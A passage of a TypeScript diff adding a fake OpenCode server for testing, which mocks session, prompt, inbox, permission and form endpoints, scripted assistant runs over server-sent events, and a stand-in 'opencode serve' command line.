= (id: string) => + json( + { + _tag: "SessionNotFoundError", + sessionID: id, + message: `Session not found: ${id}`, + }, + 404, + ); + + if (method === "GET" && path === "/api/info") { + return json({ + version: this.version, + pid: process.pid, + urls: [origin], + paths: { tmp: "/tmp/opencode" }, + }); + } + if (method === "GET" && path === "/api/event") return this.sse(); + if (method === "GET" && path === "/api/model") { + return json( + this.scenario.models ?? { location, data: defaultV2Models() }, + ); + } + if (method === "GET" && path === "/api/provider") { + return json( + this.scenario.providers ?? { location, data: defaultV2Providers() }, + ); + } + if (method === "GET" && path === "/api/agent") { + return json( + this.scenario.agents ?? { location, data: defaultV2Agents() }, + ); + } + if (method === "GET" && path === "/api/command") { + return json(this.scenario.commands ?? { location, data: [] }); + } + if (method === "GET" && path === "/api/session") { + return json({ + data: [...this.sessions.values()].map((session) => + this.sessionInfoV2(session), + ), + cursor: { previous: null, next: null }, + }); + } + if (method === "POST" && path === "/api/session") { + const requested = input.location as JsonObject | undefined; + const session = this.createSession({ + id: typeof input.id === "string" ? input.id : undefined, + title: typeof input.title === "string" ? input.title : undefined, + directory: + typeof requested?.directory === "string" + ? requested.directory + : undefined, + agent: typeof input.agent === "string" ? input.agent : undefined, + model: input.model as JsonObject | undefined, + }); + return json({ data: this.sessionInfoV2(session) }); + } + if ((match = /^\/api\/session\/([^/]+)(\/.*)?$/.exec(path))) { + const id = decodeURIComponent(match[1] ?? ""); + const rest = match[2] ?? ""; + const session = this.sessions.get(id); + if (!session) return sessionNotFound(id); + if (method === "GET" && rest === "") + return json({ data: this.sessionInfoV2(session) }); + if (method === "DELETE" && rest === "") { + session.run?.controller.abort(); + this.sessions.delete(id); + this.publish("session.deleted", { sessionID: id }); + return new Response(null, { status: 204 }); + } + if (method === "GET" && rest === "/message") { + return json({ + data: session.messages, + cursor: { previous: null, next: null }, + }); + } + if (method === "POST" && rest === "/prompt") { + const text = typeof input.text === "string" ? input.text : ""; + const script = this.selectScript(text); + if (script.reject) + return json(script.reject.body, script.reject.status); + const userMessage = { + id: typeof input.id === "string" ? input.id : makeId("msg"), + sessionID: id, + time: { created: Date.now() }, + type: "user", + payload: { + text, + ...(Array.isArray(input.files) ? { files: input.files } : {}), + ...(Array.isArray(input.agents) ? { agents: input.agents } : {}), + ...(Array.isArray(input.skills) ? { skills: input.skills } : {}), + ...(input.metadata ? { metadata: input.metadata } : {}), + }, + // 2.0.18 answers "steer" when the field is left out. + delivery: input.delivery === "queue" ? "queue" : "steer", + }; + this.inboxItems.set(String(userMessage.id), userMessage); + this.publish("session.inbox.enqueued", { + sessionID: id, + inboxID: userMessage.id, + item: { + type: "user", + payload: userMessage.payload, + delivery: userMessage.delivery, + }, + }); + const pending: PendingPrompt = { userMessage, script }; + if (userMessage.delivery === "steer" && session.run) { + // Delivered into the running execution at its next step boundary. + session.run.steers.push(pending); + } else if (input.resume !== false) { + void this.enqueue( + session, + (signal) => this.runV2(session, signal, pending), + String(userMessage.id), + ); + } + return json({ data: userMessage }); + } + if (method === "GET" && rest === "/inbox") { + // Undelivered prompts, including `resume:false` ones nobody runs. + return json({ + data: [...this.inboxItems.values()].filter( + (item) => item.sessionID === id, + ), + }); + } + if ((match = /^\/inbox\/([^/]+)$/.exec(rest)) && method === "DELETE") { + const inboxID = decodeURIComponent(match[1] ?? ""); + if (this.inboxItems.get(inboxID)?.sessionID !== id) { + return json( + { + _tag: "MessageNotFoundError", + messageID: inboxID, + message: `Inbox item not found: ${inboxID}`, + }, + 404, + ); + } + const steers = session.run?.steers ?? []; + const steerIndex = steers.findIndex( + (item) => item.userMessage.id === inboxID, + ); + if (steerIndex !== -1) steers.splice(steerIndex, 1); + const queueIndex = session.queue.findIndex( + (task) => task.inboxID === inboxID, + ); + if (queueIndex !== -1) session.queue.splice(queueIndex, 1)[0]?.cancel(); + this.inboxItems.delete(inboxID); + this.publish("session.inbox.cancelled", { sessionID: id, inboxID }); + return new Response(null, { status: 204 }); + } + if (method === "POST" && rest === "/interrupt") { + const running = session.run; + if (running) { + running.controller.abort(); + await running.done; + } + return json({ interrupted: running !== undefined }); + } + if (method === "POST" && rest === "/model") { + const previous = session.model; + session.model = input.model as JsonObject; + this.publish("session.model.selected", { + sessionID: id, + model: session.model, + ...(previous ? { previous } : {}), + }); + return new Response(null, { status: 204 }); + } + if (method === "POST" && rest === "/agent") { + const previous = session.agent; + session.agent = String(input.agent); + this.publish("session.agent.selected", { + sessionID: id, + agent: session.agent, + ...(previous ? { previous } : {}), + }); + return new Response(null, { status: 204 }); + } + if (method === "GET" && rest === "/permission") { + return json({ + data: [...this.permissions.values()] + .filter((pending) => pending.sessionID === id) + .map((pending) => pending.request), + }); + } + if ( + (match = /^\/permission\/([^/]+)\/reply$/.exec(rest)) && + method === "POST" + ) { + const requestID = decodeURIComponent(match[1] ?? ""); + const pending = this.permissions.get(requestID); + if (!pending || pending.sessionID !== id) { + return json( + { + _tag: "PermissionNotFoundError", + requestID, + message: `Permission request not found: ${requestID}`, + }, + 404, + ); + } + pending.resolve(String(input.decision)); + return new Response(null, { status: 204 }); + } + if ((match = /^\/form\/([^/]+)(\/reply)?$/.exec(rest))) { + const formID = decodeURIComponent(match[1] ?? ""); + const pending = this.forms.get(formID); + if (!pending || pending.sessionID !== id) { + return json( + { + _tag: "FormNotFoundError", + id: formID, + message: `Form not found: ${formID}`, + }, + 404, + ); + } + if (method === "GET" && !match[2]) return json({ data: pending.form }); + if (method === "POST" && match[2]) { + pending.resolve("replied", input.answer); + return new Response(null, { status: 204 }); + } + if (method === "DELETE" && !match[2]) { + pending.resolve("cancelled"); + return new Response(null, { status: 204 }); + } + } + } + return undefined; + } + + // ------------------------------------------------------------------------- + // SSE + // ------------------------------------------------------------------------- + + private sse(): Response { + let subscriber: Subscriber | undefined; + let timer: ReturnType | undefined; + const heartbeatMs = + this.scenario.heartbeatMs ?? (this.generation === 1 ? 10_000 : 15_000); + const stream = new ReadableStream({ + start: (controller) => { + const current: Subscriber = { + write: (text) => { + try { + controller.enqueue(encoder.encode(text)); + } catch { + this.subscribers.delete(current); + } + }, + }; + subscriber = current; + this.subscribers.add(current); + current.write( + this.frame( + this.generation === 1 + ? { type: "server.connected", properties: {} } + : { id: makeId("evt"), type: "server.connected", data: {} }, + ), + ); + timer = setInterval(() => { + current.write( + this.generation === 1 + ? this.frame({ type: "server.heartbeat", properties: {} }) + : ": heartbeat\n\n", + ); + }, heartbeatMs); + }, + cancel: () => { + if (timer) clearInterval(timer); + if (subscriber) this.subscribers.delete(subscriber); + }, + }); + return new Response(stream, { + headers: + this.generation === 1 + ? { + "content-type": "text/event-stream", + "cache-control": "no-cache", + connection: "keep-alive", + } + : { + "content-type": "text/event-stream", + "cache-control": "no-cache, no-transform", + "x-accel-buffering": "no", + "x-content-type-options": "nosniff", + }, + }); + } + + private frame(event: JsonObject): string { + return `data: ${JSON.stringify(event)}\n\n`; + } + + emitRaw(event: JsonObject) { + const frame = this.frame(event); + for (const subscriber of this.subscribers) subscriber.write(frame); + } + + /** Publishes an event in the generation's shape. */ + publish(type: string, data: JsonObject) { + if (this.generation === 1) { + this.emitRaw({ type, properties: data }); + return; + } + const sessionID = + typeof data.sessionID === "string" ? data.sessionID : undefined; + let durable: JsonObject | undefined; + if (sessionID && !NON_DURABLE.has(type) && type.startsWith("session.")) { + const seq = (this.seq.get(sessionID) ?? 0) + 1; + this.seq.set(sessionID, seq); + durable = { + aggregateID: sessionID, + seq, + version: DURABLE_VERSION[type] ?? 1, + }; + } + this.emitRaw({ + id: makeId("evt"), + created: Date.now(), + type, + ...(durable ? { durable } : {}), + location: { directory: this.directory }, + data, + }); + } + + // ------------------------------------------------------------------------- + // Sessions and runs + // ------------------------------------------------------------------------- + + private createSession( + input: { + id?: string; + title?: string; + directory?: string; + agent?: string; + model?: JsonObject; + }, + announce = true, + ): SessionRecord { + const now = Date.now(); + const session: SessionRecord = { + id: input.id ?? makeId("ses"), + title: input.title ?? `New session - ${new Date(now).toISOString()}`, + directory: input.directory ?? this.directory, + created: now, + updated: now, + ...(input.agent ? { agent: input.agent } : {}), + ...(input.model ? { model: input.model } : {}), + messages: [], + queue: [], + }; + this.sessions.set(session.id, session); + if (announce) { + if (this.generation === 1) { + const info = this.sessionInfoV1(session); + this.publish("session.created", { sessionID: session.id, info }); + this.publish("session.updated", { sessionID: session.id, info }); + } else { + this.publish("session.created", { + sessionID: session.id, + projectID: "prj_mock", + location: { directory: session.directory }, + slug: session.id.slice(4, 12), + title: session.title, + ...(session.agent ? { agent: session.agent } : {}), + ...(session.model ? { model: session.model } : {}), + version: this.version, + }); + } + } + return session; + } + + private sessionInfoV1(session: SessionRecord): JsonObject { + return { + id: session.id, + slug: session.id.slice(4, 12), + projectID: "prj_mock", + directory: session.directory, + title: session.title, + version: this.version, + time: { created: session.created, updated: session.updated }, + }; + } + + private sessionInfoV2(session: SessionRecord): JsonObject { + return { + id: session.id, + projectID: "prj_mock", + ...(session.agent ? { agent: session.agent } : {}), + ...(session.model ? { model: session.model } : {}), + cost: 0, + tokens: { + input: 0, + output: 0, + reasoning: 0, + cache: { read: 0, write: 0 }, + }, + time: { created: session.created, updated: session.updated }, + title: session.title, + location: { directory: session.directory }, + }; + } + + private selectScript(text: string): OpenCodePromptScript { + const scripts = this.scenario.prompts ?? []; + const matched = scripts.find( + (script) => script.match !== undefined && text.includes(script.match), + ); + if (matched) return matched; + const ordered = scripts.filter((script) => script.match === undefined); + const index = this.unmatchedPrompts++; + return ( + ordered[Math.min(index, ordered.length - 1)] ?? { + steps: [{ type: "text", text: "Mock reply." }], + } + ); + } + + /** Runs `task` after the session's current run, like a busy session queueing prompts. */ + private enqueue( + session: SessionRecord, + task: (signal: AbortSignal) => Promise, + inboxID?: string, + ): Promise { + return new Promise((resolve) => { + session.queue.push({ + ...(inboxID ? { inboxID } : {}), + run: async (signal) => { + try { + await task(signal); + } finally { + resolve(); + } + }, + cancel: resolve, + }); + if (!session.run) void this.drain(session); + }); + } + + private async drain(session: SessionRecord): Promise { + for (let next = session.queue.shift(); next; next = session.queue.shift()) { + const controller = new AbortController(); + const running = { + controller, + done: Promise.resolve(), + steers: [] as PendingPrompt[], + }; + session.run = running; + running.done = next.run(controller.signal); + await running.done; + session.run = undefined; + // Steers that missed the last step boundary of a run that finished on + // its own start the next execution; after an interrupt they stay queued + // in the inbox (GET /inbox) until cancelled. + if (!controller.signal.aborted) { + for (const steer of running.steers.reverse()) { + session.queue.unshift({ + inboxID: String(steer.userMessage.id), + run: (signal) => this.runV2(session, signal, steer), + cancel: () => {}, + }); + } + } + } + } + + private awaitReply( + store: Map, + id: string, + entry: Omit, + signal: AbortSignal, + ): Promise { + return new Promise((resolve) => { + const finish = (outcome: string, payload?: unknown) => { + store.delete(id); + resolve({ outcome, payload }); + }; + store.set(id, { ...entry, resolve: finish } as E); + signal.addEventListener("abort", () => finish("aborted"), { once: true }); + }); + } + + private async runV1( + session: SessionRecord, + signal: AbortSignal, + input: JsonObject, + script: OpenCodePromptScript, + ) { + const sessionID = session.id; + const agent = + typeof input.agent === "string" + ? input.agent + : (session.agent ?? "build"); + const model = (input.model as JsonObject | undefined) ?? { + providerID: "anthropic", + modelID: "claude-sonnet-4-5", + }; + const now = Date.now(); + const userInfo = { + id: typeof input.messageID === "string" ? input.messageID : makeId("msg"), + sessionID, + role: "user", + time: { created: now }, + agent, + model: { providerID: model.providerID, modelID: model.modelID }, + }; + const userParts = (Array.isArray(input.parts) ? input.parts : []).map( + (part: unknown) => ({ + ...(part as JsonObject), + id: makeId("prt"), + sessionID, + messageID: userInfo.id, + }), + ); + this.publish("message.updated", { sessionID, info: userInfo }); + for (const part of userParts) + this.publish("message.part.updated", { + sessionID, + part, + time: Date.now(), + }); + session.messages.push({ info: userInfo, parts: userParts }); + if (input.noReply === true) return; + + this.publish("session.status", { sessionID, status: { type: "busy" } }); + const assistant: JsonObject = { + id: makeId("msg"), + sessionID, + role: "assistant", + time: { created: Date.now() }, + parentID: userInfo.id, + modelID: model.modelID, + providerID: model.providerID, + mode: agent, + agent, + path: { cwd: session.directory, root: session.directory }, + cost: 0, + tokens: { + input: 0, + output: 0, + reasoning: 0, + cache: { read: 0, write: 0 }, + }, + }; + this.publish("message.updated", { sessionID, info: assistant }); + const ctx: RunContext = { + session, + signal, + assistantMessageID: String(assistant.id), + blocks: [], + assistant, + }; + this.publishPartV1(ctx, { type: "step-start" }); + + try { + await this.runSteps(ctx, script.steps); + const tokens = { + input: script.tokens?.input ?? 120, + output: script.tokens?.output ?? 30, + reasoning: script.tokens?.reasoning ?? 0, + cache: { + read: script.tokens?.cacheRead ?? 0, + write: script.tokens?.cacheWrite ?? 0, + }, + }; + const cost = script.cost ?? 0.0012; + this.publishPartV1(ctx, { + type: "step-finish", + reason: script.finish ?? "stop", + cost, + tokens, + }); + Object.assign(assistant, { + time: { + created: (assistant.time as JsonObject).created, + completed: Date.now(), + }, + cost, + tokens, + finish: script.finish ?? "stop", + }); + this.publish("message.updated", { sessionID, info: assistant }); + } catch (error) { + const aborted = signal.aborted; + const failure = { + name: aborted + ? "MessageAbortedError" + : error instanceof StepFailure + ? error.errorName + : "UnknownError", + data: { + message: aborted + ? "The operation was aborted." + : error instanceof Error + ? error.message + : String(error), + }, + }; + Object.assign(assistant, { + time: { + created: (assistant.time as JsonObject).created, + completed: Date.now(), + }, + error: failure, + }); + this.publish("message.updated", { sessionID, info: assistant }); + if (!aborted || this.scenario.abortEmitsSessionError !== false) { + this.publish("session.error", { sessionID, error: failure }); + } + } + session.messages.push({ info: assistant, parts: ctx.blocks }); + session.updated = Date.now(); + this.publish("session.status", { sessionID, status: { type: "idle" } }); + this.publish("session.idle", { sessionID }); + } + + // Execution lifecycle as recorded from a real 2.0.18 server (t3code + // testkit fixtures opencode2_*, MIT): no session.status / session.idle, a + // run ends with session.execution.succeeded | failed | interrupted. + private async runV2( + session: SessionRecord, + signal: AbortSignal, + pending: PendingPrompt, + ) { + const sessionID = session.id; + const legacyStatus = this.scenario.emitSessionStatus === true; + this.publish("session.execution.started", { sessionID }); + this.deliverV2(session, pending.userMessage); + if (legacyStatus) + this.publish("session.status", { sessionID, status: { type: "busy" } }); + const ctx: RunContext = { + session, + signal, + assistantMessageID: "", + blocks: [], + assistant: {}, + }; + this.startStepV2(ctx); + try { + await this.runSteps(ctx, pending.script.steps); + this.endStepV2(ctx, pending.script); + this.publish("session.execution.succeeded", { sessionID }); + } catch (error) { + if (signal.aborted) { + // An interrupt closes the running tool and step first. + const tool = ctx.tool; + if (tool) { + ctx.tool = undefined; + this.publish("session.tool.failed", { + sessionID, + assistantMessageID: ctx.assistantMessageID, + id: tool.callID, + error: { type: "aborted", message: "Tool execution interrupted" }, + ...(tool.metadata ? { metadata: tool.metadata } : {}), + executed: false, + }); + } + const failure = { type: "aborted", message: "Step interrupted" }; + Object.assign(ctx.assistant, { error: failure }); + const usage = this.stepUsage(pending.script); + this.publish("session.step.failed", { + sessionID, + assistantMessageID: ctx.assistantMessageID, + error: failure, + ...usage, + }); + this.publish("session.usage.updated", { sessionID, ...usage }); + this.publish("session.execution.interrupted", { + sessionID, + reason: "user", + }); + } else { + const failure = { + type: error instanceof StepFailure ? error.errorName : "unknown", + message: error instanceof Error ? error.message : String(error), + }; + Object.assign(ctx.assistant, { error: failure }); + this.publish("session.step.failed", { + sessionID, + assistantMessageID: ctx.assistantMessageID, + error: failure, + }); + this.publish("session.execution.failed", { sessionID, error: failure }); + } + } + session.messages.push(ctx.assistant); + session.updated = Date.now(); + if (legacyStatus) { + this.publish("session.status", { sessionID, status: { type: "idle" } }); + this.publish("session.idle", { sessionID }); + } + } + + private stepUsage(script: OpenCodePromptScript) { + return { + cost: script.cost ?? 0.0012, + tokens: { + input: script.tokens?.input ?? 120, + output: script.tokens?.output ?? 30, + reasoning: script.tokens?.reasoning ?? 0, + cache: { + read: script.tokens?.cacheRead ?? 0, + write: script.tokens?.cacheWrite ?? 0, + }, + }, + }; + } + + /** Moves a 2.x prompt out of the inbox into the conversation. */ + private deliverV2(session: SessionRecord, userMessage: JsonObject) { + const inboxID = String(userMessage.id); + this.inboxItems.delete(inboxID); + this.publish("session.inbox.delivered", { sessionID: session.id, inboxID }); + const payload = userMessage.payload as JsonObject; + session.messages.push({ + id: userMessage.id, + time: userMessage.time, + type: "user", + text: payload.text, + ...(Array.isArray(payload.files) ? { files: payload.files } : {}), + ...(Array.isArray(payload.agents) ? { agents: payload.agents } : {}), + ...(Array.isArray(payload.skills) ? { skills: payload.skills } : {}), + ...(payload.metadata ? { metadata: payload.metadata } : {}), + }); + } + + /** Opens a new 2.x step: a fresh assistant message. */ + private startStepV2(ctx: RunContext) { + const session = ctx.session; + const agent = session.agent ?? "build"; + const model = session.model ?? { + id: "claude-sonnet-4-5", + providerID: "anthropic", + }; + ctx.assistant = { + id: makeId("msg"), + time: { created: Date.now() }, + type: "assistant", + agent, + model, + content: [], + }; + ctx.assistantMessageID = String(ctx.assistant.id); + ctx.blocks = ctx.assistant.content as JsonObject[]; + this.publish("session.step.started", { + sessionID: session.id, + assistantMessageID: ctx.assistantMessageID, + agent, + model, + started: Date.now(), + }); + } + + /** Closes a 2.x step: `step.streamed`, `step.ended`, `usage.updated`. */ + private endStepV2(ctx: RunContext, script: OpenCodePromptScript) { + const { cost, tokens } = this.stepUsage(script); + const finish = script.finish ?? "stop"; + const sessionID = ctx.session.id; + const assistantMessageID = ctx.assistantMessageID; + this.publish("session.step.streamed", { sessionID, assistantMessageID }); + this.publish("session.step.ended", { + sessionID, + assistantMessageID, + finish, + cost, + tokens, + }); + this.publish("session.usage.updated", { sessionID, cost, tokens }); + Object.assign(ctx.assistant, { + time: { + created: (ctx.assistant.time as JsonObject).created, + completed: Date.now(), + }, + finish, + cost, + tokens, + }); + } + + /** + * Delivers pending `delivery:"steer"` prompts at a step boundary: the + * current step ends, the steering user message joins the conversation and a + * new step runs the steer's script inside the same execution. + */ + private async deliverSteersV2(ctx: RunContext) { + const steers = ctx.session.run?.steers; + for (let steer = steers?.shift(); steer; steer = steers?.shift()) { + if (ctx.signal.aborted) throw new Error("aborted"); + this.endStepV2(ctx, {}); + ctx.session.messages.push(ctx.assistant); + this.deliverV2(ctx.session, steer.userMessage); + this.startStepV2(ctx); + await this.runSteps(ctx, steer.script.steps); + } + } + + private publishPartV1(ctx: RunContext, part: JsonObject): JsonObject { + const full = { + id: typeof part.id === "string" ? part.id : makeId("prt"), + sessionID: ctx.session.id, + messageID: ctx.assistantMessageID, + ...part, + }; + const index = ctx.blocks.findIndex((block) => block.id === full.id); + if (index === -1) ctx.blocks.push(full); + else ctx.blocks[index] = full; + this.publish("message.part.updated", { + sessionID: ctx.session.id, + part: full, + time: Date.now(), + }); + return full; + } + + private async runSteps( + ctx: RunContext, + steps: OpenCodeStep[] | undefined, + ): Promise { + for (const step of steps ?? []) { + if (ctx.signal.aborted) throw new Error("aborted"); + await this.runStep(ctx, step); + if (this.generation === 2) await this.deliverSteersV2(ctx); + } + } + + private async streamText( + ctx: RunContext, + kind: "text" | "reasoning", + text: string | string[], + ) { + const deltas = Array.isArray(text) ? text : [text]; + const sessionID = ctx.session.id; + if (this.generation === 1) { + const start = Date.now(); + const part = this.publishPartV1(ctx, { + type: kind, + text: "", + time: { start }, + }); + let full = ""; + for (const delta of deltas) { + if (ctx.signal.aborted) throw new Error("aborted"); + full += delta; + this.publish("message.part.delta", { + sessionID, + messageID: ctx.assistantMessageID, + partID: part.id, + field: "text", + delta, + }); + } + this.publishPartV1(ctx, { + ...part, + text: full, + time: { start, end: Date.now() }, + }); + return; + } + const ordinal = ctx.blocks.length; + const block: JsonObject = { type: kind, text: "" }; + ctx.blocks.push(block); + const base = { + sessionID, + assistantMessageID: ctx.assistantMessageID, + ordinal, + }; + this.publish(`session.${kind}.started`, base); + for (const delta of deltas) { + if (ctx.signal.aborted) throw new Error("aborted"); + block.text = `${String(block.text)}${delta}`; + this.publish(`session.${kind}.delta`, { ...base, delta }); + } + this.publish(`session.${kind}.ended`, { ...base, text: block.text }); + } + + private async askPermission( + ctx: RunContext, + ask: { + permission: string; + patterns?: string[]; + metadata?: JsonObject; + message?: string; + }, + tool?: { callID: string }, + ): Promise { + const id = makeId("per"); + const sessionID = ctx.session.id; + const patterns = ask.patterns ?? ["*"]; + const request = + this.generation === 1 + ? { + id, + sessionID, + permission: ask.permission, + patterns, + metadata: ask.metadata ?? {}, + always: patterns, + ...(tool + ? { + tool: { + messageID: ctx.assistantMessageID, + callID: tool.callID, + }, + } + : {}), + } + : { + id, + sessionID, + action: ask.permission, + resources: patterns, + save: patterns, + ...(ask.metadata ? { metadata: ask.metadata } : {}), + ...(tool + ? { + source: { + type: "tool", + messageID: ctx.assistantMessageID, + id: tool.callID, + }, + } + : {}), + ...(ask.message ? { message: ask.message } : {}), + }; + const reply = this.awaitReply( + this.permissions, + id, + { sessionID, request }, + ctx.signal, + ); + this.publish("permission.asked", request); + const { outcome } = await reply; + if (outcome !== "aborted") { + this.publish("permission.replied", { + sessionID, + requestID: id, + reply: outcome, + }); + } + return outcome; + } + + private async runStep(ctx: RunContext, step: OpenCodeStep): Promise { + const sessionID = ctx.session.id; + switch (step.type) { + case "text": + case "reasoning": + await this.streamText(ctx, step.type, step.text); + return; + case "tool": { + const callID = step.callID ?? makeId("call"); + const started = Date.now(); + let part: JsonObject | undefined; + if (this.generation === 1) { + part = this.publishPartV1(ctx, { + type: "tool", + callID, + tool: step.tool, + state: { status: "pending", input: {}, raw: "" }, + }); + part = this.publishPartV1(ctx, { + ...part, + state: { + status: "running", + input: step.input, + time: { start: started }, + }, + }); + } else { + const base = { + sessionID, + assistantMessageID: ctx.assistantMessageID, + id: callID, + }; + const raw = JSON.stringify(step.input); + this.publish("session.tool.input.started", { + ...base, + name: step.tool, + }); + this.publish("session.tool.input.delta", { ...base, delta: raw }); + this.publish("session.tool.input.ended", { ...base, text: raw }); + this.publish("session.tool.called", { + ...base, + input: step.input, + executed: false, + }); + ctx.tool = { callID }; + } + let error = step.error; + if (step.permission) { + const reply = await this.askPermission(ctx, step.permission, { + callID, + }); + if (reply === "aborted") throw new Error("aborted"); + if (reply === "reject") + error = "The user rejected permission to use this tool"; + } + if (this.generation === 2 && step.metadata && !error) { + // Progress (e.g. the shell id) arrives while the tool runs. + this.publish("session.tool.progress", { + sessionID, + assistantMessageID: ctx.assistantMessageID, + id: callID, + metadata: step.metadata, + }); + ctx.tool = { callID, metadata: step.metadata }; + } + if (step.durationMs) await sleep(step.durationMs, ctx.signal); + if (this.generation === 1 && part) { + const time = { start: started, end: Date.now() }; + this.publishPartV1(ctx, { + ...part, + state: error + ? { status: "error", input: step.input, error, time } + : { + status: "completed", + input: step.input, + output: step.output ?? "", + title: step.title ?? step.tool, + metadata: step.metadata ?? {}, + time, + }, + }); + } else { + const base = { + sessionID, + assistantMessageID: ctx.assistantMessageID, + id: callID, + }; + ctx.tool = undefined; + ctx.blocks.push({ + type: "tool", + id: callID, + name: step.tool, + state: error + ? { + status: "error", + input: step.input, + error: { type: "tool.execution", message: error }, + } + : { + status: "completed", + input: step.input, + content: [{ type: "text", text: step.output ?? "" }], + }, + time: { created: started, completed: Date.now() }, + }); + if (error) { + this.publish("session.tool.failed", { + ...base, + error: { type: "tool.execution", message: error }, + executed: false, + }); + } else { + this.publish("session.tool.success", { + ...base, + content: [{ type: "text", text: step.output ?? "" }], + ...(step.metadata ? { metadata: step.metadata } : {}), + executed: false, + }); + } + } + return; + } + case "permission": { + const reply = await this.askPermission(ctx, step); + if (reply === "aborted") throw new Error("aborted"); + await this.runSteps(ctx, pickBranch(step.branches, reply)); + return; + } + case "question": { + if (this.generation !== 1) + throw new StepFailure("question steps are 1.x only", "UnknownError"); + const id = makeId("que"); + const request: JsonObject = { + id, + sessionID, + questions: step.questions, + }; + const reply = this.awaitReply( + this.questions, + id, + { sessionID, request }, + ctx.signal, + ); + this.publish("question.asked", request); + const { outcome, payload } = await reply; + if (outcome === "aborted") throw new Error("aborted"); + if (outcome === "replied") { + this.publish("question.replied", { + sessionID, + requestID: id, + answers: payload ?? [], + }); + } else { + this.publish("question.rejected", { sessionID, requestID: id }); + } + await this.runSteps(ctx, pickBranch(step.branches, outcome)); + return; + } + case "form": { + if (this.generation !== 2) + throw new StepFailure("form steps are 2.x only", "UnknownError"); + const id = makeId("frm"); + const form: JsonObject = { + id, + sessionID, + title: step.title, + ...(step.metadata ? { metadata: step.metadata } : {}), + fields: step.fields, + }; + const reply = this.awaitReply( + this.forms, + id, + { sessionID, form }, + ctx.signal, + ); + this.publish("form.created", { form }); + const { outcome, payload } = await reply; + if (outcome === "aborted") throw new Error("aborted"); + if (outcome === "replied") { + this.publish("form.replied", { + id, + sessionID, + answer: payload ?? {}, + }); + } else { + this.publish("form.cancelled", { id, sessionID }); + } + await this.runSteps(ctx, pickBranch(step.branches, outcome)); + return; + } + case "event": + this.emitRaw(step.event); + return; + case "delay": + await sleep(step.ms, ctx.signal); + return; + case "error": + throw new StepFailure( + step.message, + step.name ?? (this.generation === 1 ? "UnknownError" : "provider"), + ); + case "hang": + await waitForAbort(ctx.signal); + return; + } + } +} + +function defaultV1Providers(): JsonObject { + const model = (id: string, name: string, reasoning: boolean) => ({ + id, + providerID: "anthropic", + api: { id, url: "https://api.anthropic.com/v1", npm: "@ai-sdk/anthropic" }, + name, + family: "claude", + capabilities: { + temperature: true, + reasoning, + attachment: true, + toolcall: true, + input: { text: true, audio: false, image: true, video: false, pdf: true }, + output: { + text: true, + audio: false, + image: false, + video: false, + pdf: false, + }, + interleaved: false, + }, + cost: { input: 3, output: 15, cache: { read: 0.3, write: 3.75 } }, + limit: { context: 200000, output: 64000 }, + status: "active", + options: {}, + headers: {}, + release_date: "2025-09-29", + variants: reasoning + ? { high: { thinking: { type: "enabled", budgetTokens: 16000 } } } + : {}, + }); + return { + all: [ + { + id: "anthropic", + name: "Anthropic", + source: "env", + env: ["ANTHROPIC_API_KEY"], + options: {}, + models: { + "claude-sonnet-4-5": model( + "claude-sonnet-4-5", + "Claude Sonnet 4.5", + true, + ), + "claude-haiku-4-5": model( + "claude-haiku-4-5", + "Claude Haiku 4.5", + false, + ), + }, + }, + ], + default: { anthropic: "claude-sonnet-4-5" }, + connected: ["anthropic"], + }; +} + +function defaultV1Agents(): JsonObject[] { + const agent = (name: string, mode: string, description: string) => ({ + name, + description, + mode, + native: true, + permission: [], + options: {}, + }); + return [ + agent("build", "primary", "Default agent with every tool enabled"), + agent("plan", "primary", "Read-only planning agent"), + agent("general", "subagent", "General-purpose subagent"), + ]; +} + +function defaultV2Models(): JsonObject[] { + return [ + { + id: "anthropic/claude-sonnet-4-5", + modelID: "claude-sonnet-4-5", + providerID: "anthropic", + name: "Claude Sonnet 4.5", + capabilities: { tools: true, input: ["text", "image"], output: ["text"] }, + variants: [{ id: "high" }], + time: { released: Date.UTC(2025, 8, 29) }, + cost: [{ input: 3, output: 15, cache: { read: 0.3, write: 3.75 } }], + status: "active", + enabled: true, + limit: { context: 200000, output: 64000 }, + }, + ]; +} + +function defaultV2Providers(): JsonObject[] { + return [ + { + id: "anthropic", + name: "Anthropic", + activation: "auto", + package: "@ai-sdk/anthropic", + }, + ]; +} + +function defaultV2Agents(): JsonObject[] { + const agent = (id: string, mode: string) => ({ + id, + name: id, + request: { settings: {}, headers: {}, body: {} }, + mode, + hidden: false, + permissions: [], + }); + return [ + agent("build", "primary"), + agent("plan", "primary"), + agent("general", "subagent"), + ]; +} + +/** Starts a fake OpenCode server; `stop()` closes it and every SSE stream. */ +export async function start( + options: StartOpenCodeFakeOptions, +): Promise { + const scenario = options.scenario ?? {}; + const password = + options.password === undefined || options.password === null + ? options.generation === 2 + ? randomBytes(24).toString("base64url") + : null + : options.password; + const fake = new FakeOpenCodeServer( + options.generation, + scenario, + password, + options.logPath, + ); + const hostname = options.hostname ?? "127.0.0.1"; + let origin = ""; + const server = bunServe({ + hostname, + port: options.port ?? 0, + // SSE streams stay open between heartbeats. + idleTimeout: 0, + fetch: (request) => fake.handle(request, origin), + }); + origin = `http://${hostname}:${server.port}`; + return { + generation: options.generation, + url: origin, + password, + version: fake.version, + requests: fake.requests, + emit: (event) => fake.emitRaw(event), + stop: async () => { + await server.stop(true); + }, + }; +} + +// --------------------------------------------------------------------------- +// CLI: a stand-in for `opencode serve` / `opencode --version`. +// --------------------------------------------------------------------------- + +async function cli(argv: string[]) { + const generation: OpenCodeGeneration = + process.env[OPENCODE_FAKE_GENERATION_ENV] === "2" ? 2 : 1; + const scenario = loadScenarioFromEnv( + OPENCODE_FAKE_SCENARIO_ENV, + OPENCODE_FAKE_SCENARIO_FILE_ENV, + ); + const version = scenario.version ?? (generation === 1 ? "1.18.32" : "2.0.18"); + if (argv.includes("--version") || argv.includes("-v")) { + process.stdout.write( + generation === 1 ? `${version}\n` : `opencode v${version}\n`, + ); + return; + } + if (argv[0] !== "serve") { + process.stderr.write( + "usage: fake-server.ts serve [--hostname=HOST] [--port=PORT] | --version\n", + ); + process.exit(2); + } + const flag = (name: string) => + argv.find((arg) => arg.startsWith(`--${name}=`))?.slice(name.length + 3); + const passwordEnv = + generation === 1 + ? process.env.OPENCODE_SERVER_PASSWORD + : process.env.OPENCODE_PASSWORD; + const fake = await start({ + generation, + scenario, + hostname: flag("hostname") || "127.0.0.1", + port: Number(flag("port") ?? "0") || 0, + password: passwordEnv || null, + logPath: process.env[OPENCODE_FAKE_LOG_ENV], + }); + if (generation === 1) { + process.stdout.write(`opencode server listening on ${fake.url}\n`); + } else { + process.stdout.write(`server listening on ${fake.url}\n`); + if (!passwordEnv) + process.stdout.write(`server password ${fake.password}\n`); + } + const shutdown = () => { + void 